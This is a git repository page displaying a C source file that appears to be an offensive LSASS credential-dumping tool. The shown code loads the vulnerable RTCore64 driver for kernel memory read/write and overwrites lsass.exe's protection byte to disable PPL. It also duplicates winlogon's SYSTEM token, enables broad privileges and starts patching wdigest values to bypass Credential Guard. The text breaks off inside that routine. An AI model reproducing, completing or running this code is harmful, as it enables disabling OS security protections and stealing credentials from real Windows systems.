etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

LSASS_CDumper.c (42150B)

      1 /*
      2 
      3     Author: vari.sh
      4 
      5     Description: - This program impersonates SYSTEM and implements LSASS dump. Creates a log.txt file in C:\Users\Public.
      6                  - Additionally, it uses primitives to access memory via the RTCore64 driver,
      7                    and reads the EPROCESS structure of lsass.exe to verify the offsets needed for disabling PPL.
      8                    It then writes the byte that disables PPL.
      9                  - Finally it disables Credentials Guard using the approach of https://github.com/ricardojoserf/NativeBypassCredGuard
     10 
     11 */
     12 
     13 #define _CRT_SECURE_NO_WARNINGS
     14 #include <windows.h>
     15 #include <tlhelp32.h>
     16 #include <dbghelp.h>
     17 #include <stdio.h>
     18 #include <aclapi.h> 
     19 #include <psapi.h>
     20 #include <stdlib.h>
     21 #include <stdarg.h>
     22 #include <string.h>
     23 
     24 
     25 // Logs
     26 static FILE* logfile;
     27 
     28 // Define the function pointer type for MiniDumpWriteDump
     29 typedef BOOL(WINAPI* PFN_MDWD)(
     30     HANDLE hProcess,
     31     DWORD ProcessId,
     32     HANDLE hFile,
     33     MINIDUMP_TYPE DumpType,
     34     PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
     35     PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
     36     PMINIDUMP_CALLBACK_INFORMATION CallbackParam
     37     );
     38 
     39 // =====================================================
     40 // Memory Access Primitives via RTCore64
     41 // =====================================================
     42 
     43 typedef struct _RTCORE64_MSR_READ {
     44     DWORD Register;
     45     DWORD ValueHigh;
     46     DWORD ValueLow;
     47 } RTCORE64_MSR_READ;
     48 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
     49 _Static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
     50 #endif
     51 
     52 typedef struct _RTCORE64_MEMORY_READ {
     53     BYTE Pad0[8];
     54     DWORD64 Address;
     55     BYTE Pad1[8];
     56     DWORD ReadSize;
     57     DWORD Value;
     58     BYTE Pad3[16];
     59 } RTCORE64_MEMORY_READ;
     60 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
     61 _Static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
     62 #endif
     63 
     64 typedef struct _RTCORE64_MEMORY_WRITE {
     65     BYTE Pad0[8];
     66     DWORD64 Address;
     67     BYTE Pad1[8];
     68     DWORD ReadSize;
     69     DWORD Value;
     70     BYTE Pad3[16];
     71 } RTCORE64_MEMORY_WRITE;
     72 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
     73 _Static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
     74 #endif
     75 
     76 // IOCTL codes for RTCORE64
     77 static const DWORD RTC64_MSR_READ_CODE = 0x80002030;
     78 static const DWORD RTC64_MEMORY_READ_CODE = 0x80002048;
     79 static const DWORD RTC64_MEMORY_WRITE_CODE = 0x8000204c;
     80 
     81 DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
     82     RTCORE64_MEMORY_READ memRead = { 0 };
     83     memRead.Address = Address;
     84     memRead.ReadSize = Size;
     85     DWORD BytesReturned;
     86     DeviceIoControl(Device,
     87         RTC64_MEMORY_READ_CODE,
     88         &memRead,
     89         sizeof(memRead),
     90         &memRead,
     91         sizeof(memRead),
     92         &BytesReturned,
     93         NULL);
     94     return memRead.Value;
     95 }
     96 
     97 void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
     98     RTCORE64_MEMORY_WRITE memWrite = { 0 };
     99     memWrite.Address = Address;
    100     memWrite.ReadSize = Size;
    101     memWrite.Value = Value;
    102     DWORD BytesReturned;
    103     DeviceIoControl(Device,
    104         RTC64_MEMORY_WRITE_CODE,
    105         &memWrite,
    106         sizeof(memWrite),
    107         &memWrite,
    108         sizeof(memWrite),
    109         &BytesReturned,
    110         NULL);
    111 }
    112 
    113 WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
    114     return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff);
    115 }
    116 
    117 DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
    118     return ReadMemoryPrimitive(Device, 4, Address);
    119 }
    120 
    121 DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
    122     return (((DWORD64)ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
    123 }
    124 
    125 void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
    126     WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff));
    127     WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32));
    128 }
    129 
    130 // Helper function to read a memory buffer in 4-byte chunks
    131 BOOL ReadMemoryBuffer(HANDLE Device, DWORD64 Address, void* Buffer, DWORD BufferSize) {
    132     DWORD numDwords = BufferSize / 4;
    133     DWORD remainder = BufferSize % 4;
    134     for (DWORD i = 0; i < numDwords; i++) {
    135         ((DWORD*)Buffer)[i] = ReadMemoryDWORD(Device, Address + i * 4);
    136     }
    137     if (remainder) {
    138         DWORD value = ReadMemoryPrimitive(Device, remainder, Address + numDwords * 4);
    139         memcpy((BYTE*)Buffer + numDwords * 4, &value, remainder);
    140     }
    141     return TRUE;
    142 }
    143 
    144 // =====================================================
    145 // Retrieve the Base Address of ntoskrnl.exe via EnumDeviceDrivers
    146 // =====================================================
    147 unsigned long long getKBAddr() {
    148     DWORD cbNeeded = 0;
    149     PVOID* base = NULL;
    150     if (EnumDeviceDrivers(NULL, 0, &cbNeeded)) {
    151         base = (PVOID*)malloc(cbNeeded);
    152         if (base) {
    153             if (EnumDeviceDrivers(base, cbNeeded, &cbNeeded)) {
    154                 unsigned long long addr = (unsigned long long)base[0];
    155                 free(base);
    156                 return addr;
    157             }
    158             free(base);
    159         }
    160     }
    161     return 0;
    162 }
    163 
    164 // =====================================================
    165 // OS Version Detection and Offsets setting
    166 // =====================================================
    167 
    168 // Structure containing the three useful offsets
    169 typedef struct _Offsets {
    170     DWORD64 ActiveProcessLinks;  // Offset of the ActiveProcessLinks field in _EPROCESS
    171     DWORD64 ImageFileName;       // Offset of the ImageFileName field in _EPROCESS
    172     DWORD64 Protection;          // Offset of the Protection (PS_PROTECTION) field in _EPROCESS
    173 } Offsets;
    174 
    175 
    176 // Function to get the OS version
    177 int GetOSVersion() {
    178     wchar_t CurrentBuild[255] = { 0 };
    179     DWORD bufferSize = sizeof(CurrentBuild);
    180     LONG ret = RegGetValueW(
    181         HKEY_LOCAL_MACHINE,
    182         L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
    183         L"CurrentBuild",
    184         RRF_RT_REG_SZ,
    185         NULL,
    186         CurrentBuild,
    187         &bufferSize
    188     );
    189     if (ret == ERROR_SUCCESS) {
    190         fwprintf(logfile, L"[*] Windows Build %s detected\n", CurrentBuild);
    191         return _wtoi(CurrentBuild);
    192     }
    193     else {
    194         fwprintf(logfile, L"[ERROR] Unable to retrieve Windows Build. Error code: %ld\n", ret);
    195         return -1;
    196     }
    197 }
    198 
    199 // Function to get the offsets
    200 Offsets getOffsets() {
    201     int build = GetOSVersion();
    202 
    203     if (build < 0) {
    204         exit(-1);
    205     }
    206 
    207     Offsets offs = { 0, 0, 0 };
    208 
    209     // Offsets table for x64 (TODO)
    210     if (build <= 14393) {              // Windows 10 version 1607 (Build 14393)
    211         offs.ActiveProcessLinks = 0x0000;
    212         offs.ImageFileName = 0x0000;
    213         offs.Protection = 0x0000;
    214     }
    215     else if (build <= 17134) {       // Windows 10 version 1803 (Build 17134)
    216         offs.ActiveProcessLinks = 0x0000;
    217         offs.ImageFileName = 0x0000;
    218         offs.Protection = 0x0000;
    219     }
    220     else if (build <= 17763) {       // Windows 10 version 1809 (Build 17763)
    221         offs.ActiveProcessLinks = 0x0000;
    222         offs.ImageFileName = 0x0000;
    223         offs.Protection = 0x0000;
    224     }
    225     else if (build <= 18362) {       // Windows 10 version 1903 (Build 18362)
    226         offs.ActiveProcessLinks = 0x0000;
    227         offs.ImageFileName = 0x0000;
    228         offs.Protection = 0x0000;
    229     }
    230     else if (build <= 18363) {       // Windows 10 version 1909 (Build 18363)
    231         offs.ActiveProcessLinks = 0x0000;
    232         offs.ImageFileName = 0x0000;
    233         offs.Protection = 0x0000;
    234     }
    235     else if (build <= 19045) {       // Windows 10 version 22H2 (Build 19041)
    236         offs.ActiveProcessLinks = 0x448;
    237         offs.ImageFileName = 0x5a8;
    238         offs.Protection = 0x87a;
    239     }
    240     else if (build <= 22631) {  // Windows 23H2
    241         offs.ActiveProcessLinks = 0x448;
    242         offs.ImageFileName = 0x5a8;
    243         offs.Protection = 0x87a;
    244     }
    245     else if (build > 22631) {  // Windows 11 24H2 and above
    246         offs.ActiveProcessLinks = 0x1d8;
    247         offs.ImageFileName = 0x338;
    248         offs.Protection = 0x5fa;
    249     }
    250     else {
    251         wprintf(L"[ERROR] Offsets not defined for build %d on x64.\n", build);
    252         exit(1);
    253     }
    254     return offs;
    255 }
    256 
    257 // =====================================================
    258 // Driver loading and unloading
    259 // =====================================================
    260 
    261 // Function to load and start the driver
    262 #define DRIVER_NAME "mDriver"
    263 #define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"
    264 #define DEVICE_NAME L"\\\\.\\RTCore64"
    265 
    266 // Helper function to open the Service Control Manager with the specified access rights
    267 SC_HANDLE OpenSCManagerHandle(DWORD dwAccess) {
    268     SC_HANDLE hSCM = OpenSCManager(NULL, NULL, dwAccess);
    269     if (!hSCM) {
    270         fprintf(logfile, "[ERROR] OpenSCManager failed. Error code: %lu\n", GetLastError());
    271     }
    272     return hSCM;
    273 }
    274 
    275 // Helper function to create or open the driver service
    276 SC_HANDLE CreateOrOpenDriverService(SC_HANDLE hSCM, const char* driverName, const char* driverPath) {
    277     SC_HANDLE hService = CreateServiceA(
    278         hSCM,
    279         driverName,          // Internal service name
    280         driverName,          // Display name
    281         SERVICE_ALL_ACCESS,
    282         SERVICE_KERNEL_DRIVER,
    283         SERVICE_DEMAND_START,
    284         SERVICE_ERROR_IGNORE,
    285         driverPath,          // Full path to the driver file
    286         NULL, NULL, NULL, NULL, NULL
    287     );
    288     if (!hService) {
    289         DWORD err = GetLastError();
    290         if (err == ERROR_SERVICE_EXISTS) {
    291             hService = OpenServiceA(hSCM, driverName, SERVICE_ALL_ACCESS);
    292             if (hService) {
    293                 fprintf(logfile, "[+] Existing service opened successfully.\n");
    294             }
    295             else {
    296                 fprintf(logfile, "[ERROR] Unable to open the existing service. Error code: %lu\n", GetLastError());
    297             }
    298         }
    299         else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
    300             fprintf(logfile, "[ERROR] Service is marked for deletion.\n");
    301         }
    302         else {
    303             fprintf(logfile, "[ERROR] CreateService error. Error code: %lu\n", err);
    304         }
    305     }
    306     else {
    307         fprintf(logfile, "[+] Service created successfully.\n");
    308     }
    309     return hService;
    310 }
    311 
    312 // Function to load and start the driver
    313 int LoadAndStartDriver(void) {
    314     SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_CREATE_SERVICE);
    315     if (!hSCM)
    316         return 1;
    317 
    318     SC_HANDLE hService = CreateOrOpenDriverService(hSCM, DRIVER_NAME, DRIVER_PATH);
    319     if (!hService) {
    320         CloseServiceHandle(hSCM);
    321         return 1;
    322     }
    323 
    324     // Start the driver service
    325     if (!StartServiceA(hService, 0, NULL)) {
    326         DWORD err = GetLastError();
    327         if (err != ERROR_SERVICE_ALREADY_RUNNING) {
    328             fprintf(logfile, "[ERROR] StartService error. Error code: %lu\n", err);
    329             DeleteService(hService);
    330             CloseServiceHandle(hService);
    331             CloseServiceHandle(hSCM);
    332             return 1;
    333         }
    334         else {
    335             fprintf(logfile, "[*] Driver is already loaded.\n");
    336         }
    337     }
    338     else {
    339         fprintf(logfile, "[+] Driver loaded and started successfully.\n");
    340     }
    341 
    342     // Close the handles
    343     CloseServiceHandle(hService);
    344     CloseServiceHandle(hSCM);
    345     return 0;
    346 }
    347 
    348 // Function to stop and unload the driver
    349 int StopAndUnloadDriver(const char* driverName) {
    350     SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_ALL_ACCESS);
    351     if (!hSCM)
    352         return 1;
    353 
    354     SC_HANDLE hService = OpenServiceA(hSCM, driverName, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS);
    355     if (!hService) {
    356         DWORD err = GetLastError();
    357         if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
    358             fprintf(logfile, "[ERROR] Service does not exist.\n");
    359             CloseServiceHandle(hSCM);
    360             return 0;
    361         }
    362         else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
    363             fprintf(logfile, "[*] Service is already marked for deletion.\n");
    364             CloseServiceHandle(hSCM);
    365             return 0;
    366         }
    367         else {
    368             fprintf(logfile, "[ERROR] Error: %s.\n", err);
    369             CloseServiceHandle(hSCM);
    370             return 0;
    371         }
    372         fprintf(logfile, "[ERROR] OpenService failed. Error code: %lu\n", err);
    373         CloseServiceHandle(hSCM);
    374         return 1;
    375 
    376     }
    377 
    378     SERVICE_STATUS status;
    379     if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
    380         DWORD err = GetLastError();
    381         if (err == ERROR_SERVICE_NOT_ACTIVE) {
    382             fprintf(logfile, "[*] The service is not active.\n");
    383         }
    384         else {
    385             fprintf(logfile, "[ERROR] ControlService (stop) failed. Error code: %lu\n", err);
    386         }
    387     }
    388     else {
    389         fprintf(logfile, "[+] Service stopped successfully.\n");
    390     }
    391 
    392     // Attempt to delete the service
    393     if (!DeleteService(hService)) {
    394         DWORD err = GetLastError();
    395         if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
    396             fprintf(logfile, "[*] Service is already marked for deletion.\n");
    397         }
    398         else {
    399             fprintf(logfile, "[ERROR] DeleteService failed. Error code: %lu\n", err);
    400             CloseServiceHandle(hService);
    401             CloseServiceHandle(hSCM);
    402             return 1;
    403         }
    404     }
    405     else {
    406         fprintf(logfile, "[+] Service deleted successfully.\n");
    407     }
    408 
    409     // Close the handles
    410     CloseServiceHandle(hService);
    411     CloseServiceHandle(hSCM);
    412     return 0;
    413 }
    414 
    415 // =====================================================
    416 // Function to Read the EPROCESS Structure of lsass.exe
    417 // =====================================================
    418 
    419 void static disablePPL() {
    420 
    421     Offsets offs = getOffsets();
    422     if (offs.ActiveProcessLinks == 0 || offs.ImageFileName == 0 || offs.Protection == 0) {
    423         fprintf(logfile, "[ERROR] Offset not mapped... exiting!\n");
    424         exit(1);
    425     }
    426 
    427     HANDLE Device = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    428     if (Device == INVALID_HANDLE_VALUE) {
    429         fprintf(logfile, "[ERROR] Unable to obtain a handle to the device object\n");
    430         return;
    431     }
    432     fprintf(logfile, "[*] Device handle obtained\n");
    433 
    434     unsigned long long ntoskrnlBase = getKBAddr();
    435     fprintf(logfile, "[*] ntoskrnl.exe base address: 0x%llx\n", ntoskrnlBase);
    436 
    437     HMODULE hNtoskrnl = LoadLibraryW(L"ntoskrnl.exe");
    438     if (!hNtoskrnl) {
    439         fprintf(logfile, "[ERROR] Failed to load ntoskrnl.exe\n");
    440         CloseHandle(Device);
    441         return;
    442     }
    443     // Calculate the offset of the exported variable PsInitialSystemProcess
    444     DWORD64 PsInitialSystemProcessOffset = (DWORD64)GetProcAddress(hNtoskrnl, "PsInitialSystemProcess") - (DWORD64)hNtoskrnl;
    445     FreeLibrary(hNtoskrnl);
    446 
    447     // Retrieve the address of the System process's EPROCESS
    448     DWORD64 SystemProcessEPROCESS = ReadMemoryDWORD64(Device, ntoskrnlBase + PsInitialSystemProcessOffset);
    449     fprintf(logfile, "[*] PsInitialSystemProcess (EPROCESS) address: 0x%llx\n", SystemProcessEPROCESS);
    450 
    451     // Calculate the list head (located within the EPROCESS)
    452     DWORD64 ListHead = SystemProcessEPROCESS + offs.ActiveProcessLinks;
    453     DWORD64 CurrentEntry = ReadMemoryDWORD64(Device, ListHead); // First element of the list
    454 
    455     while (CurrentEntry != ListHead) {
    456         // The current EPROCESS address is obtained by subtracting the offset from the LIST_ENTRY pointer
    457         DWORD64 eprocess = CurrentEntry - offs.ActiveProcessLinks;
    458 
    459         // Read the ImageFileName field (15 bytes, as defined in the struct) and add a null terminator
    460         char imageName[16] = { 0 };
    461         ReadMemoryBuffer(Device, eprocess + offs.ImageFileName, imageName, 15);
    462         imageName[15] = '\0';
    463 
    464         if (_stricmp(imageName, "lsass.exe") == 0) {
    465             fprintf(logfile, "[*] Found EPROCESS at 0x%llx\n", eprocess);
    466             // Read the protection byte (PPL) from the EPROCESS
    467             BYTE protection = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection);
    468             fprintf(logfile, "[*] Protection value: 0x%02X\n", protection);
    469 
    470             // To disable PPL, write 0x00 into this field.
    471             // Warning: perform this operation only if you are sure the offsets are correct.
    472             WriteMemoryPrimitive(Device, 1, eprocess + offs.Protection, 0x00);
    473             fprintf(logfile, "[+] PPL disabled (0x00 written)\n");
    474 
    475             // Read the protection byte (PPL) from the EPROCESS again
    476             BYTE protection_post = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection);
    477             fprintf(logfile, "[*] Protection value after write: 0x%02X\n", protection_post);
    478 
    479             break;
    480         }
    481         // Move to the next element in the list
    482         CurrentEntry = ReadMemoryDWORD64(Device, CurrentEntry);
    483     }
    484 
    485     CloseHandle(Device);
    486 }
    487 
    488 // =====================================================
    489 // Function to load clean versions of DLLs
    490 // =====================================================
    491 HMODULE LoadCleanDLL(char* dllPath) {
    492 
    493     HMODULE hDLL = LoadLibraryA(dllPath);
    494     if (hDLL)
    495     {
    496         fprintf(logfile, "[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
    497     }
    498     else
    499     {
    500         fprintf(logfile, "[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
    501     }
    502 
    503     return hDLL;
    504 }
    505 
    506 // =====================================================
    507 // Function to obtain a SYSTEM token
    508 // =====================================================
    509 BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken) {
    510     PROCESSENTRY32 pe = { 0 };
    511     pe.dwSize = sizeof(PROCESSENTRY32);
    512     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    513     if (hSnapshot == INVALID_HANDLE_VALUE) {
    514         fprintf(logfile, "CreateToolhelp32Snapshot error: %u\n", GetLastError());
    515         return FALSE;
    516     }
    517 
    518     BOOL found = FALSE;
    519     HANDLE hProcess = NULL;
    520     HANDLE hToken = NULL;
    521     HANDLE hDupToken = NULL;
    522 
    523     if (Process32First(hSnapshot, &pe)) {
    524         do {
    525             // Look for winlogon
    526             if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
    527                 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
    528                 if (hProcess) {
    529                     if (OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
    530                         if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) {
    531                             *hSystemToken = hDupToken;
    532                             found = TRUE;
    533                             CloseHandle(hToken);
    534                             CloseHandle(hProcess);
    535                             fprintf(logfile, "[+] Successfully duplicated token. Process can now run as SYSTEM.\n");
    536                             break;
    537                         }
    538                         CloseHandle(hToken);
    539                     }
    540                     CloseHandle(hProcess);
    541                 }
    542             }
    543         } while (Process32Next(hSnapshot, &pe));
    544     }
    545     CloseHandle(hSnapshot);
    546 
    547     if (!found) {
    548         fprintf(logfile, "Failed to obtain system token\n");
    549         return FALSE;
    550     }
    551     return TRUE;
    552 }
    553 
    554 // ========================================
    555 // Functions to get all privileges
    556 // ========================================
    557 
    558 // Function to enable a specific privilege on the provided token.
    559 // This function does not open the token itself, but uses the token passed as parameter.
    560 BOOL EnablePrivilege(HANDLE hToken, LPCWSTR privilegeName) {
    561     TOKEN_PRIVILEGES tokenPrivs;
    562     LUID luid;
    563 
    564     // Lookup the LUID for the specified privilege
    565     if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) {
    566         // wprintf(L"[ERROR] Failed to lookup privilege %ls. Error: %lu\n", privilegeName, GetLastError());
    567         return FALSE;
    568     }
    569     // wprintf(L"[INFO] LUID for privilege %ls retrieved successfully.\n", privilegeName);
    570 
    571     // Set up the TOKEN_PRIVILEGES structure
    572     tokenPrivs.PrivilegeCount = 1;
    573     tokenPrivs.Privileges[0].Luid = luid;
    574     tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    575 
    576     // Adjust the token privileges to enable the privilege
    577     if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivs, sizeof(tokenPrivs), NULL, NULL)) {
    578         // wprintf(L"[ERROR] AdjustTokenPrivileges failed for %ls. Error: %lu\n", privilegeName, GetLastError());
    579         return FALSE;
    580     }
    581 
    582     // Check if the privilege was successfully enabled
    583     if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
    584         // wprintf(L"[ERROR] The privilege %ls could not be enabled. Not all privileges were assigned.\n", privilegeName);
    585         return FALSE;
    586     }
    587 
    588     // wprintf(L"[+] Privilege %ls enabled successfully.\n", privilegeName);
    589     return TRUE;
    590 }
    591 
    592 // Function to enable all desired privileges on the provided token.
    593 void EnableAllPrivileges(HANDLE hToken) {
    594     // List of privileges to enable
    595     LPCWSTR privileges[] = {
    596         SE_BACKUP_NAME,
    597         SE_CHANGE_NOTIFY_NAME,
    598         SE_CREATE_GLOBAL_NAME,
    599         SE_CREATE_PAGEFILE_NAME,
    600         SE_CREATE_PERMANENT_NAME,
    601         SE_CREATE_SYMBOLIC_LINK_NAME,
    602         SE_DEBUG_NAME,
    603         SE_IMPERSONATE_NAME,
    604         SE_INC_BASE_PRIORITY_NAME,
    605         SE_INC_WORKING_SET_NAME,
    606         SE_LOCK_MEMORY_NAME,
    607         SE_MACHINE_ACCOUNT_NAME,
    608         SE_MANAGE_VOLUME_NAME,
    609         SE_PROF_SINGLE_PROCESS_NAME,
    610         SE_RESTORE_NAME,
    611         SE_SHUTDOWN_NAME,
    612         SE_SYSTEM_ENVIRONMENT_NAME,
    613         SE_SYSTEM_PROFILE_NAME,
    614         SE_SYSTEMTIME_NAME,
    615         SE_TAKE_OWNERSHIP_NAME,
    616         SE_TCB_NAME,
    617         SE_TIME_ZONE_NAME,
    618         SE_TRUSTED_CREDMAN_ACCESS_NAME,
    619         SE_UNSOLICITED_INPUT_NAME
    620     };
    621 
    622     int numPrivileges = sizeof(privileges) / sizeof(privileges[0]);
    623     for (int i = 0; i < numPrivileges; i++) {
    624         // wprintf(L"Trying to enable privilege: %ls\n", privileges[i]);
    625         if (!EnablePrivilege(hToken, privileges[i])) {
    626             // wprintf(L"[ERROR] Failed to enable privilege: %ls\n", privileges[i]);
    627         }
    628         else {
    629             // wprintf(L"[INFO] Privilege enabled: %ls\n", privileges[i]);
    630         }
    631     }
    632 }
    633 
    634 // ===============================
    635 // Function to get process handle and modules
    636 // ===============================
    637 
    638 BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE* hProcess, OUT DWORD* pID)
    639 {
    640     DWORD pid = 0;
    641     HANDLE hP = NULL;
    642     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    643     if (hSnapshot == INVALID_HANDLE_VALUE)
    644     {
    645         fprintf(logfile, "[ERROR] Invalid HANDLE to process snapshots [%d]\n", GetLastError());
    646         return FALSE;
    647     }
    648 
    649     PROCESSENTRY32 pe;
    650     pe.dwSize = sizeof(PROCESSENTRY32);
    651 
    652     if (!Process32First(hSnapshot, &pe))
    653     {
    654         fprintf(logfile, "[ERROR] Could not enumerate processes [%d]\n", GetLastError());
    655         CloseHandle(hSnapshot);
    656         return FALSE;
    657     }
    658 
    659     do {
    660         if (_wcsicmp(processName, pe.szExeFile) == 0)
    661         {
    662             pid = pe.th32ProcessID;
    663             fprintf(logfile, "[*] Trying to open handle on %ls, on PID %d\n", processName, pid);
    664 
    665             hP = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
    666             if (hP == NULL)
    667             {
    668                 fprintf(logfile, "[ERROR] Could not open handle on PID %d, Error: %d\n", pid, GetLastError());
    669             }
    670             else
    671             {
    672                 fprintf(logfile, "[+] Successfully got handle on PID %d\n", pid);
    673                 *pID = pid;
    674                 *hProcess = hP;
    675                 CloseHandle(hSnapshot);
    676                 return TRUE;
    677             }
    678         }
    679     } while (Process32Next(hSnapshot, &pe));
    680 
    681     CloseHandle(hSnapshot);
    682     fprintf(logfile, "[ERROR] Process %ls not found.\n", processName);
    683     return FALSE;
    684 }
    685 
    686 
    687 #define MAX_MODULES 1024
    688 
    689 // Function to enumerate a process' modules and find the address of 'module.dll'
    690 LPVOID EnumerateModulesAndFindAddress(HANDLE hProcess, const char* moduleName) {
    691     HMODULE hMods[MAX_MODULES];
    692     DWORD cbNeeded;
    693     unsigned int i;
    694 
    695     // Get all the modules of the process
    696     if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
    697         // fprintf(logfile, "Modules loaded in the process:\n");
    698 
    699         // Calculate the number of modules
    700         unsigned int numModules = cbNeeded / sizeof(HMODULE);
    701 
    702         // Scan all modules
    703         for (i = 0; i < numModules; i++) {
    704             char szModName[MAX_PATH];
    705 
    706             // Get the module name
    707             if (GetModuleFileNameExA(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(char))) {
    708                 // fprintf(logfile, "%d: %s\n", i, szModName);
    709 
    710                 // Check if the module is the one being searched for
    711                 if (strstr(szModName, moduleName) != NULL) {
    712                     MODULEINFO modInfo;
    713                     if (GetModuleInformation(hProcess, hMods[i], &modInfo, sizeof(modInfo))) {
    714                         // fprintf(logfile, "Base address of module %s: 0x%p\n", moduleName, modInfo.lpBaseOfDll);
    715                         return modInfo.lpBaseOfDll;
    716                     }
    717                     else {
    718                         fprintf(logfile, "[ERROR] Unable to get information about module %s.\n", moduleName);
    719                         return NULL;
    720                     }
    721                 }
    722             }
    723         }
    724     }
    725     else {
    726         fprintf(logfile, "[ERROR] Error enumerating the process modules: %lu\n", GetLastError());
    727         return NULL;
    728     }
    729 }
    730 
    731 // =====================================================
    732 // Function to Disable credentialGuard
    733 // ===================================================== 
    734 
    735 int disableCG() {
    736     DWORD bytesReadf;
    737     // Read wdigest.dll from disk
    738     HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\wdigest.dll", GENERIC_READ, FILE_SHARE_READ,
    739         NULL, OPEN_EXISTING, 0, NULL);
    740     if (hFile == INVALID_HANDLE_VALUE) {
    741         fprintf(logfile, "[ERROR] Unable to open wdigest.dll from disk.\n");
    742         return 1;
    743     }
    744     // Read up to 1 MB
    745     BYTE* fileBuffer = (BYTE*)malloc(1024 * 1024);
    746     if (!fileBuffer) {
    747         CloseHandle(hFile);
    748         return 1;
    749     }
    750     if (!ReadFile(hFile, fileBuffer, 1024 * 1024, &bytesReadf, NULL)) {
    751         fprintf(logfile, "[ERROR] Error in ReadFile.\n");
    752         free(fileBuffer);
    753         CloseHandle(hFile);
    754         return 1;
    755     }
    756     CloseHandle(hFile);
    757 
    758     // Parse the PE file to locate the .text section
    759     DWORD peOffset = *(DWORD*)(fileBuffer + 0x3C);
    760     if (*(DWORD*)(fileBuffer + peOffset) != 0x00004550) { // "PE\0\0"
    761         fprintf(logfile, "[ERROR] Invalid PE signature.\n");
    762         free(fileBuffer);
    763         return 1;
    764     }
    765     WORD numSections = *(WORD*)(fileBuffer + peOffset + 6);
    766     WORD sizeOptionalHeader = *(WORD*)(fileBuffer + peOffset + 20);
    767     int sectionHeadersOffset = peOffset + 24 + sizeOptionalHeader;
    768 
    769     DWORD textVirtualAddress = 0, textRawDataPointer = 0, textRawDataSize = 0;
    770     for (int i = 0; i < numSections; i++) {
    771         int secOffset = sectionHeadersOffset + (i * 40); // each header is 40 bytes
    772         char sectionName[9] = { 0 };
    773         memcpy(sectionName, fileBuffer + secOffset, 8);
    774         if (strcmp(sectionName, ".text") == 0) {
    775             textVirtualAddress = *(DWORD*)(fileBuffer + secOffset + 12);
    776             textRawDataSize = *(DWORD*)(fileBuffer + secOffset + 16);
    777             textRawDataPointer = *(DWORD*)(fileBuffer + secOffset + 20);
    778             break;
    779         }
    780     }
    781     if (textVirtualAddress == 0) {
    782         fprintf(logfile, "[ERROR] .text section not found.\n");
    783         free(fileBuffer);
    784         return 1;
    785     }
    786 
    787     // --- 3. Search for the pattern in the .text section ---
    788     // The pattern used here: looking for a sequence where:
    789     //   byte0 == 0x39, byte5 == 0x00, byte6 == 0x8B, byte11 == 0x00
    790     // If the pattern is found, extract:
    791     //   useLogonCredential = (b2 | b3<<8 | b4<<16)
    792     //   isCredGuardEnabled = (b8 | b9<<8 | b10<<16)
    793     int patternFound = 0;
    794     int patternOffset = 0;
    795     int useLogonVal = 0, credGuardVal = 0;
    796     for (DWORD j = textRawDataPointer; j < textRawDataPointer + textRawDataSize - 12; j++) {
    797         if (fileBuffer[j] == 0x39 && fileBuffer[j + 5] == 0x00 &&
    798             fileBuffer[j + 6] == 0x8B && fileBuffer[j + 11] == 0x00) {
